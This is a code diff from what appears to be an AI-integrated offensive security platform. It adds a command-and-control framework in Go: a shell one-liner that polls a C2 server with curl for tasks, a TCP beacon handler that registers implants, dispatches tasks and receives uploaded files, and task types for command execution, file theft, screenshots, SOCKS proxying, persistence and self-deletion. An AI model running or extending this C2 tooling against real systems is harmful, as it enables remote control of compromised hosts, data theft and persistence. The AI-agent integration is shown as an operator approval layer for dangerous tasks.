`if [ -n "$R" ]&&[ -z "$SID" ];then SID=$(echo "$R"|grep -o "\"session_id\":\"[^\"]*\""|head -1|cut -d"\"" -f4);fi;`+
|
||||
`if [ -n "$SID" ];then `+
|
||||
`T=$(curl -fsSk -H "$H" -G "$URL/tasks?session_id=$SID" 2>/dev/null);`+
|
||||
`fi;`+
|
||||
`sleep 5;`+
|
||||
`done' &`,
|
||||
in.ImplantToken, base,
|
||||
), nil
|
||||
}
|
||||
return "", fmt.Errorf("unsupported oneliner kind: %s", in.Kind)
|
||||
}
|
||||
|
||||
// urlEncodeForShell URL 编码字符串,避免特殊字符在 shell 中破坏转义
|
||||
func urlEncodeForShell(s string) string {
|
||||
return url.QueryEscape(s)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,109 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// SessionWatchdog 会话心跳看门狗:周期扫描所有 active/sleeping 会话,
|
||||
// 把超过 (sleep * (1 + jitter%) * graceFactor + minGrace) 仍未心跳的标为 dead。
|
||||
//
|
||||
// 设计要点:
|
||||
// - 单 goroutine + ticker,避免对每个会话开 timer,session 数量大时也线性 OK;
|
||||
// - 阈值随会话自身 sleep/jitter 自适应(sleep=300s 的会话不能用 sleep=5s 的判定);
|
||||
// - 全局最小宽限期 minGrace 避免 sleep 配置错误的会话被误判;
|
||||
// - 不读 implant_uuid,纯按 last_check_in 字段,与 listener 类型解耦。
|
||||
type SessionWatchdog struct {
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
interval time.Duration // 扫描周期,默认 15s
|
||||
minGrace time.Duration // 最小宽限期,默认 30s
|
||||
gracePct float64 // 心跳超时倍数,默认 3.0(即 3 倍 sleep 周期没心跳算掉线)
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
// NewSessionWatchdog 创建看门狗
|
||||
func NewSessionWatchdog(m *Manager) *SessionWatchdog {
|
||||
return &SessionWatchdog{
|
||||
manager: m,
|
||||
logger: m.Logger().With(zap.String("component", "c2-watchdog")),
|
||||
interval: 15 * time.Second,
|
||||
minGrace: 30 * time.Second,
|
||||
gracePct: 3.0,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Run 阻塞执行,直到 ctx.Done() 或 Stop()
|
||||
func (w *SessionWatchdog) Run(ctx context.Context) {
|
||||
t := time.NewTicker(w.interval)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-w.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
w.tick()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop 停止
|
||||
func (w *SessionWatchdog) Stop() {
|
||||
select {
|
||||
case <-w.stopCh:
|
||||
default:
|
||||
close(w.stopCh)
|
||||
}
|
||||
}
|
||||
|
||||
func (w *SessionWatchdog) tick() {
|
||||
now := time.Now()
|
||||
for _, status := range []string{string(SessionActive), string(SessionSleeping)} {
|
||||
sessions, err := w.manager.DB().ListC2Sessions(database.ListC2SessionsFilter{Status: status})
|
||||
if err != nil {
|
||||
w.logger.Warn("watchdog 列表查询失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
for _, s := range sessions {
|
||||
if w.isStale(s, now) {
|
||||
if err := w.manager.MarkSessionDead(s.ID); err != nil {
|
||||
w.logger.Warn("标记会话掉线失败", zap.String("session_id", s.ID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// isStale 判断会话是否超时
|
||||
func (w *SessionWatchdog) isStale(s *database.C2Session, now time.Time) bool {
|
||||
// 无心跳记录:以 first_seen_at 兜底
|
||||
last := s.LastCheckIn
|
||||
if last.IsZero() {
|
||||
last = s.FirstSeenAt
|
||||
}
|
||||
sleep := s.SleepSeconds
|
||||
if sleep <= 0 {
|
||||
// TCP reverse 模式 sleep=0 → 用最小宽限期判定
|
||||
return now.Sub(last) > w.minGrace*2
|
||||
}
|
||||
jitter := s.JitterPercent
|
||||
if jitter < 0 {
|
||||
jitter = 0
|
||||
}
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
// 阈值 = sleep * (1 + jitter%) * gracePct,再加 minGrace 兜底
|
||||
expected := time.Duration(float64(sleep)*(1+float64(jitter)/100.0)*w.gracePct) * time.Second
|
||||
if expected < w.minGrace {
|
||||
expected = w.minGrace
|
||||
}
|
||||
return now.Sub(last) > expected
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/subtle"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
|
||||
const tcpBeaconMagic = "CSB1"
|
||||
|
||||
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
|
||||
const tcpBeaconMaxFrame = 64 << 20
|
||||
|
||||
func readTCPBeaconFrame(r *bufio.Reader) (cipherB64 string, err error) {
|
||||
var n uint32
|
||||
if err = binary.Read(r, binary.BigEndian, &n); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if n == 0 || int64(n) > int64(tcpBeaconMaxFrame) {
|
||||
return "", fmt.Errorf("invalid tcp beacon frame size")
|
||||
}
|
||||
buf := make([]byte, n)
|
||||
if _, err = io.ReadFull(r, buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(buf), nil
|
||||
}
|
||||
|
||||
func writeTCPBeaconFrame(mu *sync.Mutex, conn net.Conn, cipherB64 string) error {
|
||||
if mu != nil {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
}
|
||||
payload := []byte(cipherB64)
|
||||
if len(payload) > tcpBeaconMaxFrame {
|
||||
return fmt.Errorf("frame too large")
|
||||
}
|
||||
var hdr [4]byte
|
||||
binary.BigEndian.PutUint32(hdr[:], uint32(len(payload)))
|
||||
if _, err := conn.Write(hdr[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := conn.Write(payload)
|
||||
return err
|
||||
}
|
||||
|
||||
func tcpBeaconCheckToken(expected, got string) bool {
|
||||
if got == "" || expected == "" {
|
||||
return false
|
||||
}
|
||||
return subtle.ConstantTimeCompare([]byte(got), []byte(expected)) == 1
|
||||
}
|
||||
|
||||
// handleTCPBeaconSession 处理已消费魔数 CSB1 之后的 TCP Beacon 会话(与 HTTP Beacon 相同的 AES-GCM + JSON 语义)。
|
||||
func (l *TCPReverseListener) handleTCPBeaconSession(conn net.Conn, br *bufio.Reader) {
|
||||
var writeMu sync.Mutex
|
||||
defer func() {
|
||||
_ = conn.Close()
|
||||
}()
|
||||
|
||||
for {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(6 * time.Minute))
|
||||
cipherB64, err := readTCPBeaconFrame(br)
|
||||
if err != nil {
|
||||
if err != io.EOF && !isClosedConnErr(err) {
|
||||
l.logger.Debug("tcp beacon read frame", zap.Error(err))
|
||||
}
|
||||
return
|
||||
}
|
||||
plain, err := DecryptAESGCM(l.rec.EncryptionKey, cipherB64)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp beacon decrypt failed", zap.Error(err))
|
||||
return
|
||||
}
|
||||
|
||||
var env map[string]json.RawMessage
|
||||
if err := json.Unmarshal(plain, &env); err != nil {
|
||||
l.logger.Warn("tcp beacon json", zap.Error(err))
|
||||
return
|
||||
}
|
||||
opBytes, ok := env["op"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var op string
|
||||
if err := json.Unmarshal(opBytes, &op); err != nil {
|
||||
return
|
||||
}
|
||||
var token string
|
||||
if tb, ok := env["token"]; ok {
|
||||
_ = json.Unmarshal(tb, &token)
|
||||
}
|
||||
if !tcpBeaconCheckToken(l.rec.ImplantToken, token) {
|
||||
l.logger.Warn("tcp beacon bad token", zap.String("listener_id", l.rec.ID))
|
||||
return
|
||||
}
|
||||
|
||||
var resp interface{}
|
||||
switch op {
|
||||
case "check_in":
|
||||
rawCheck, ok := env["check"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var req ImplantCheckInRequest
|
||||
if err := json.Unmarshal(rawCheck, &req); err != nil {
|
||||
return
|
||||
}
|
||||
if req.UserAgent == "" {
|
||||
req.UserAgent = "tcp_beacon"
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
host, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
|
||||
if req.Metadata == nil {
|
||||
req.Metadata = map[string]interface{}{}
|
||||
}
|
||||
req.Metadata["transport"] = "tcp_beacon"
|
||||
req.Metadata["remote"] = conn.RemoteAddr().String()
|
||||
if strings.TrimSpace(req.InternalIP) == "" {
|
||||
req.InternalIP = host
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
l.logger.Warn("tcp beacon check_in", zap.Error(err))
|
||||
return
|
||||
}
|
||||
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: session.ID,
|
||||
Status: string(TaskQueued),
|
||||
Limit: 1,
|
||||
})
|
||||
resp = ImplantCheckInResponse{
|
||||
SessionID: session.ID,
|
||||
NextSleep: session.SleepSeconds,
|
||||
NextJitter: session.JitterPercent,
|
||||
HasTasks: len(queued) > 0,
|
||||
ServerTime: NowUnixMillis(),
|
||||
}
|
||||
|
||||
case "tasks":
|
||||
rawSID, ok := env["session_id"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var sessionID string
|
||||
if err := json.Unmarshal(rawSID, &sessionID); err != nil || sessionID == "" {
|
||||
return
|
||||
}
|
||||
sess, err := l.manager.DB().GetC2Session(sessionID)
|
||||
if err != nil || sess == nil || sess.ListenerID != l.rec.ID {
|
||||
return
|
||||
}
|
||||
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if envelopes == nil {
|
||||
envelopes = []TaskEnvelope{}
|
||||
}
|
||||
resp = map[string]interface{}{"tasks": envelopes}
|
||||
|
||||
case "result":
|
||||
raw, ok := env["result"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var report TaskResultReport
|
||||
if err := json.Unmarshal(raw, &report); err != nil {
|
||||
return
|
||||
}
|
||||
if err := l.manager.IngestTaskResult(report); err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]string{"ok": "1"}
|
||||
|
||||
case "upload":
|
||||
raw, ok := env["upload"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var up struct {
|
||||
TaskID string `json:"task_id"`
|
||||
DataB64 string `json:"data_b64"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &up); err != nil || up.TaskID == "" {
|
||||
return
|
||||
}
|
||||
plainFile, err := base64.StdEncoding.DecodeString(up.DataB64)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
dir := filepath.Join(l.manager.StorageDir(), "uploads")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return
|
||||
}
|
||||
dst := filepath.Join(dir, up.TaskID+".bin")
|
||||
if err := os.WriteFile(dst, plainFile, 0o644); err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]interface{}{"ok": 1, "size": len(plainFile)}
|
||||
|
||||
case "file":
|
||||
raw, ok := env["file"]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
var fr struct {
|
||||
FileID string `json:"file_id"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &fr); err != nil || fr.FileID == "" {
|
||||
return
|
||||
}
|
||||
if strings.Contains(fr.FileID, "/") || strings.Contains(fr.FileID, "\\") || strings.Contains(fr.FileID, "..") {
|
||||
return
|
||||
}
|
||||
fpath := filepath.Join(l.manager.StorageDir(), "downstream", fr.FileID+".bin")
|
||||
absPath, err := filepath.Abs(fpath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
absDir, err := filepath.Abs(filepath.Join(l.manager.StorageDir(), "downstream"))
|
||||
if err != nil || !strings.HasPrefix(absPath, absDir+string(filepath.Separator)) {
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(absPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
resp = map[string]interface{}{
|
||||
"file_data": base64Encode(data),
|
||||
}
|
||||
|
||||
default:
|
||||
return
|
||||
}
|
||||
|
||||
body, err := json.Marshal(resp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(3 * time.Minute))
|
||||
if err := writeTCPBeaconFrame(&writeMu, conn, enc); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
// Package c2 实现 CyberStrikeAI 内置 C2(Command & Control)框架。
|
||||
//
|
||||
// 设计概述:
|
||||
// - Manager 作为统一入口,被 internal/app 实例化并注入到所有需要操控 C2 的组件
|
||||
// (HTTP handler、MCP 工具、HITL 桥、攻击链记录器等)。
|
||||
// - Listener 是抽象接口,下挂 tcp_reverse / http_beacon / https_beacon / websocket
|
||||
// 等不同传输方式的具体实现,全部通过 listener.Registry 工厂创建。
|
||||
// - 任务调度走数据库(c2_tasks 表)+ 内存事件总线(EventBus)混合:
|
||||
// * 状态变化与历史记录靠 SQLite 实现持久化与重启恢复;
|
||||
// * 高频实时通知(如新任务结果)通过 EventBus 推送给 SSE/WS 订阅者,避免轮询。
|
||||
// - Crypto 层固定 AES-256-GCM,每个 Listener 独立 32 字节密钥;密钥仅服务端持有
|
||||
// 和编译期注入到 implant,事件流不允许导出明文密钥。
|
||||
package c2
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ListenerType 监听器类型,与 c2_listeners.type 字段一致
|
||||
type ListenerType string
|
||||
|
||||
const (
|
||||
ListenerTypeTCPReverse ListenerType = "tcp_reverse"
|
||||
ListenerTypeHTTPBeacon ListenerType = "http_beacon"
|
||||
ListenerTypeHTTPSBeacon ListenerType = "https_beacon"
|
||||
ListenerTypeWebSocket ListenerType = "websocket"
|
||||
)
|
||||
|
||||
// AllListenerTypes 列出所有受支持的监听器类型,便于校验与前端枚举
|
||||
func AllListenerTypes() []ListenerType {
|
||||
return []ListenerType{
|
||||
ListenerTypeTCPReverse,
|
||||
ListenerTypeHTTPBeacon,
|
||||
ListenerTypeHTTPSBeacon,
|
||||
ListenerTypeWebSocket,
|
||||
}
|
||||
}
|
||||
|
||||
// IsValidListenerType 校验前端/MCP 入参是否为合法 type
|
||||
func IsValidListenerType(t string) bool {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
for _, lt := range AllListenerTypes() {
|
||||
if string(lt) == t {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SessionStatus 与 c2_sessions.status 一致
|
||||
type SessionStatus string
|
||||
|
||||
const (
|
||||
SessionActive SessionStatus = "active"
|
||||
SessionSleeping SessionStatus = "sleeping"
|
||||
SessionDead SessionStatus = "dead"
|
||||
SessionKilled SessionStatus = "killed"
|
||||
)
|
||||
|
||||
// TaskStatus 与 c2_tasks.status 一致
|
||||
type TaskStatus string
|
||||
|
||||
const (
|
||||
TaskQueued TaskStatus = "queued"
|
||||
TaskSent TaskStatus = "sent"
|
||||
TaskRunning TaskStatus = "running"
|
||||
TaskSuccess TaskStatus = "success"
|
||||
TaskFailed TaskStatus = "failed"
|
||||
TaskCancelled TaskStatus = "cancelled"
|
||||
)
|
||||
|
||||
// TaskType 任务类型(与 beacon 端协商,避免硬编码字符串)
|
||||
type TaskType string
|
||||
|
||||
const (
|
||||
// 通用任务
|
||||
TaskTypeExec TaskType = "exec" // 执行任意命令(shell -c)
|
||||
TaskTypeShell TaskType = "shell" // 交互式命令(保持 cwd)
|
||||
TaskTypePwd TaskType = "pwd" // 当前目录
|
||||
TaskTypeCd TaskType = "cd" // 切目录
|
||||
TaskTypeLs TaskType = "ls" // 列目录
|
||||
TaskTypePs TaskType = "ps" // 列进程
|
||||
TaskTypeKillProc TaskType = "kill_proc" // 杀进程
|
||||
TaskTypeUpload TaskType = "upload" // 推文件到目标
|
||||
TaskTypeDownload TaskType = "download" // 拉文件回本机
|
||||
TaskTypeScreenshot TaskType = "screenshot" // 截图
|
||||
TaskTypeSleep TaskType = "sleep" // 调整心跳节律
|
||||
TaskTypeExit TaskType = "exit" // 让 implant 退出(不会自删二进制)
|
||||
TaskTypeSelfDelete TaskType = "self_delete" // 退出 + 自删二进制(持久化清理)
|
||||
// 高级任务
|
||||
TaskTypePortFwd TaskType = "port_fwd"
|
||||
TaskTypeSocksStart TaskType = "socks_start"
|
||||
TaskTypeSocksStop TaskType = "socks_stop"
|
||||
TaskTypeLoadAssembly TaskType = "load_assembly"
|
||||
TaskTypePersist TaskType = "persist"
|
||||
)
|
||||
|
||||
// AllTaskTypes 全部 task_type,便于工具 schema 列出 enum
|
||||
func AllTaskTypes() []TaskType {
|
||||
return []TaskType{
|
||||
TaskTypeExec, TaskTypeShell,
|
||||
TaskTypePwd, TaskTypeCd, TaskTypeLs, TaskTypePs, TaskTypeKillProc,
|
||||
TaskTypeUpload, TaskTypeDownload, TaskTypeScreenshot,
|
||||
TaskTypeSleep, TaskTypeExit, TaskTypeSelfDelete,
|
||||
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeSocksStop, TaskTypeLoadAssembly,
|
||||
TaskTypePersist,
|
||||
}
|
||||
}
|
||||
|
||||
// IsDangerousTaskType 标记需要 HITL 二次确认的任务类型;
|
||||
// 与 internal/handler/hitl.go 现有的 tool_whitelist 概念呼应:白名单外 → 走审批。
|
||||
func IsDangerousTaskType(t TaskType) bool {
|
||||
switch t {
|
||||
case TaskTypeKillProc, TaskTypeUpload, TaskTypeSelfDelete,
|
||||
TaskTypePortFwd, TaskTypeSocksStart, TaskTypeLoadAssembly, TaskTypePersist:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ListenerConfig 解码后的监听器运行配置(来自 c2_listeners.config_json)
|
||||
type ListenerConfig struct {
|
||||
// HTTP/HTTPS Beacon 公共字段
|
||||
BeaconCheckInPath string `json:"beacon_check_in_path,omitempty"` // 默认 "/check_in"
|
||||
BeaconTasksPath string `json:"beacon_tasks_path,omitempty"` // 默认 "/tasks"
|
||||
BeaconResultPath string `json:"beacon_result_path,omitempty"` // 默认 "/result"
|
||||
BeaconUploadPath string `json:"beacon_upload_path,omitempty"` // 默认 "/upload"
|
||||
BeaconFilePath string `json:"beacon_file_path,omitempty"` // 默认 "/file/"
|
||||
// HTTPS 专属
|
||||
TLSCertPath string `json:"tls_cert_path,omitempty"`
|
||||
TLSKeyPath string `json:"tls_key_path,omitempty"`
|
||||
TLSAutoSelfSign bool `json:"tls_auto_self_sign,omitempty"` // true:找不到证书时自动生成自签
|
||||
// 客户端默认参数(写到 c2_sessions 初值,beacon 也可在 check-in 时覆写)
|
||||
DefaultSleep int `json:"default_sleep,omitempty"` // 秒,默认 5
|
||||
DefaultJitter int `json:"default_jitter,omitempty"` // 0-100,默认 0
|
||||
// OPSEC:可选命令黑名单(正则)
|
||||
CommandDenyRegex []string `json:"command_deny_regex,omitempty"`
|
||||
// 任务并发上限(每个会话同时下发的最大任务数,0 表示不限制)
|
||||
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
|
||||
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
|
||||
CallbackHost string `json:"callback_host,omitempty"`
|
||||
}
|
||||
|
||||
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
|
||||
func (c *ListenerConfig) ApplyDefaults() {
|
||||
if strings.TrimSpace(c.BeaconCheckInPath) == "" {
|
||||
c.BeaconCheckInPath = "/check_in"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconTasksPath) == "" {
|
||||
c.BeaconTasksPath = "/tasks"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconResultPath) == "" {
|
||||
c.BeaconResultPath = "/result"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconUploadPath) == "" {
|
||||
c.BeaconUploadPath = "/upload"
|
||||
}
|
||||
if strings.TrimSpace(c.BeaconFilePath) == "" {
|
||||
c.BeaconFilePath = "/file/"
|
||||
}
|
||||
if c.DefaultSleep <= 0 {
|
||||
c.DefaultSleep = 5
|
||||
}
|
||||
if c.DefaultJitter < 0 {
|
||||
c.DefaultJitter = 0
|
||||
}
|
||||
if c.DefaultJitter > 100 {
|
||||
c.DefaultJitter = 100
|
||||
}
|
||||
}
|
||||
|
||||
// ImplantCheckInRequest beacon → 服务端的注册/心跳请求体(已解密后的明文)
|
||||
type ImplantCheckInRequest struct {
|
||||
ImplantUUID string `json:"uuid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Username string `json:"username"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
PID int `json:"pid"`
|
||||
ProcessName string `json:"process_name"`
|
||||
IsAdmin bool `json:"is_admin"`
|
||||
InternalIP string `json:"internal_ip"`
|
||||
UserAgent string `json:"user_agent,omitempty"`
|
||||
SleepSeconds int `json:"sleep_seconds"`
|
||||
JitterPercent int `json:"jitter_percent"`
|
||||
Metadata map[string]interface{} `json:"metadata,omitempty"`
|
||||
}
|
||||
|
||||
// ImplantCheckInResponse 服务端回执
|
||||
type ImplantCheckInResponse struct {
|
||||
SessionID string `json:"session_id"`
|
||||
NextSleep int `json:"next_sleep"`
|
||||
NextJitter int `json:"next_jitter"`
|
||||
HasTasks bool `json:"has_tasks"`
|
||||
ServerTime int64 `json:"server_time"`
|
||||
}
|
||||
|
||||
// TaskEnvelope 服务端 → beacon 的任务派发载体
|
||||
type TaskEnvelope struct {
|
||||
TaskID string `json:"task_id"`
|
||||
TaskType string `json:"task_type"`
|
||||
Payload map[string]interface{} `json:"payload"`
|
||||
}
|
||||
|
||||
// TaskResultReport beacon → 服务端的任务结果回传
|
||||
type TaskResultReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||
StartedAt int64 `json:"started_at"`
|
||||
EndedAt int64 `json:"ended_at"`
|
||||
}
|
||||
|
||||
// CommonError C2 模块统一错误类型,便于 handler 层映射 HTTP 状态码
|
||||
type CommonError struct {
|
||||
Code string
|
||||
Message string
|
||||
HTTP int
|
||||
}
|
||||
|
||||
func (e *CommonError) Error() string {
|
||||
if e == nil {
|
||||
return ""
|
||||
}
|
||||
return e.Message
|
||||
}
|
||||
|
||||
// Sentinel errors,便于 errors.Is 比较
|
||||
var (
|
||||
ErrListenerNotFound = &CommonError{Code: "listener_not_found", Message: "监听器不存在", HTTP: 404}
|
||||
ErrSessionNotFound = &CommonError{Code: "session_not_found", Message: "会话不存在", HTTP: 404}
|
||||
ErrTaskNotFound = &CommonError{Code: "task_not_found", Message: "任务不存在", HTTP: 404}
|
||||
ErrProfileNotFound = &CommonError{Code: "profile_not_found", Message: "Profile 不存在", HTTP: 404}
|
||||
ErrInvalidInput = &CommonError{Code: "invalid_input", Message: "参数非法", HTTP: 400}
|
||||
ErrAuthFailed = &CommonError{Code: "auth_failed", Message: "鉴权失败", HTTP: 401}
|
||||
ErrPortInUse = &CommonError{Code: "port_in_use", Message: "端口已被占用", HTTP: 409}
|
||||
ErrListenerRunning = &CommonError{Code: "listener_running", Message: "监听器已在运行", HTTP: 409}
|
||||
ErrListenerStopped = &CommonError{Code: "listener_stopped", Message: "监听器未运行", HTTP: 409}
|
||||
ErrUnsupportedType = &CommonError{Code: "unsupported_type", Message: "不支持的监听器类型", HTTP: 400}
|
||||
)
|
||||
|
||||
// SafeBindPort 校验端口范围
|
||||
func SafeBindPort(port int) error {
|
||||
if port < 1 || port > 65535 {
|
||||
return errors.New("port must be in 1..65535")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NowUnixMillis 统一时间戳工具
|
||||
func NowUnixMillis() int64 {
|
||||
return time.Now().UnixNano() / int64(time.Millisecond)
|
||||
}
|
||||
@@ -72,6 +72,8 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
ToolSearchEnable bool `yaml:"tool_search_enable,omitempty" json:"tool_search_enable,omitempty"`
|
||||
ToolSearchMinTools int `yaml:"tool_search_min_tools,omitempty" json:"tool_search_min_tools,omitempty"` // default 20; applies when len(tools) >= this
|
||||
ToolSearchAlwaysVisible int `yaml:"tool_search_always_visible,omitempty" json:"tool_search_always_visible,omitempty"` // default 12; first N tools stay always visible
|
||||
// ToolSearchAlwaysVisibleTools keeps specified tool names always visible (never hidden by tool_search).
|
||||
ToolSearchAlwaysVisibleTools []string `yaml:"tool_search_always_visible_tools,omitempty" json:"tool_search_always_visible_tools,omitempty"`
|
||||
// Plantask adds TaskCreate/Get/Update/List (file-backed under skills dir); requires eino_skills + local backend.
|
||||
PlantaskEnable bool `yaml:"plantask_enable,omitempty" json:"plantask_enable,omitempty"`
|
||||
// PlantaskRelDir relative to skills_dir for per-conversation task boards (default .eino/plantask).
|
||||
@@ -79,8 +81,24 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
|
||||
ReductionEnable bool `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
|
||||
ReductionRootDir string `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id
|
||||
ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
|
||||
ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
|
||||
ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
|
||||
ReductionSubAgents bool `yaml:"reduction_sub_agents,omitempty" json:"reduction_sub_agents,omitempty"` // also attach to sub-agents
|
||||
// SummarizationTriggerRatio controls summarization trigger threshold as max_total_tokens * ratio (default 0.8).
|
||||
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
|
||||
// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
|
||||
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
|
||||
// HistoryInputBudgetRatio caps pre-agent history tokens as max_total_tokens * ratio (default 0.35).
|
||||
HistoryInputBudgetRatio float64 `yaml:"history_input_budget_ratio,omitempty" json:"history_input_budget_ratio,omitempty"`
|
||||
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
|
||||
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
|
||||
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
|
||||
PlanExecuteExecutedStepsBudgetRatio float64 `yaml:"plan_execute_executed_steps_budget_ratio,omitempty" json:"plan_execute_executed_steps_budget_ratio,omitempty"`
|
||||
// PlanExecuteMaxStepResultRunes caps each executed step result length for prompt view (default 4000).
|
||||
PlanExecuteMaxStepResultRunes int `yaml:"plan_execute_max_step_result_runes,omitempty" json:"plan_execute_max_step_result_runes,omitempty"`
|
||||
// PlanExecuteKeepLastSteps keeps only the tail steps in prompt view (default 8).
|
||||
PlanExecuteKeepLastSteps int `yaml:"plan_execute_keep_last_steps,omitempty" json:"plan_execute_keep_last_steps,omitempty"`
|
||||
// CheckpointDir when non-empty enables adk.Runner CheckPointStore (file-backed) for interrupt/resume persistence.
|
||||
CheckpointDir string `yaml:"checkpoint_dir,omitempty" json:"checkpoint_dir,omitempty"`
|
||||
// DeepOutputKey passed to deep.Config OutputKey (session final text); empty = off.
|
||||
@@ -91,6 +109,97 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
TaskToolDescriptionPrefix string `yaml:"task_tool_description_prefix,omitempty" json:"task_tool_description_prefix,omitempty"`
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) SummarizationTriggerRatioEffective() float64 {
|
||||
v := c.SummarizationTriggerRatio
|
||||
if v <= 0 {
|
||||
return 0.8
|
||||
}
|
||||
if v < 0.5 {
|
||||
return 0.5
|
||||
}
|
||||
if v > 0.95 {
|
||||
return 0.95
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (c MultiAgentEinoMiddlewareConfig) SummarizationEmitInternalEventsEffective() bool {
|
||||
if c.SummarizationEmitInternalEvents != nil {
|
||||
return *c.SummarizationEmitInternalEvents
|
||||
}
|
||||
return true
|
||||
}
|
